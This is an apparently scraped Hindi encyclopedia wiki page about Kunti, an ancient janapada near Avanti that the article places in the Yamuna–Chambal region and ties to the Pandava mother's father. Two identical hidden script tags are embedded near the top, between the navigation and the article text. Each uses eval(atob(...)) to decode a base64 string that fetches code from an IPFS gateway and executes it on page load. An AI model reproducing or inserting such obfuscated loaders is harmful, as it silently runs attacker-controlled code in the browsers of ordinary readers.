कुंती जनपद

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • अवंति जनपद के निकट स्थित एक प्राचीन जनपद का नाम कुंती था।
  • सहदेव के दक्षिण दिग्विजय के प्रसंग में कुंती जनपद का उल्लेख हुआ है।
  • तदनुसार यमुना और चंबल के काँठे में इसकी अवस्थिति जान पड़ती है।
  • कुंती की गणना पाँच बड़े जनपदों में होती थी।
  • पारिणनि ने कुंति सुराष्ट्र युग्म नाम का उल्लेख किया है।
  • प्रत्यक्षत: ये दोनों जनपद एक दूसरे से दूर थे।
  • पारिणनि ने इस युग्म का उल्लेख राजनीतिक आधार पर किया है।
  • कुंतिनरेश दंतवक्र को मारकर सुराष्ट्र (द्वारका) नरेश कृष्ण ने इसे अपने राज्य के अधीन कर लिया था।
  • पांडवमाता कुंती के पिता इसी जनपद के शासक थे।
  • समझा जाता है कि ग्वालियर जिले के अंतर्गत स्थित कोतवार नामक स्थान ही प्राचीन कुंती है।

टीका टिप्पणी और संदर्भ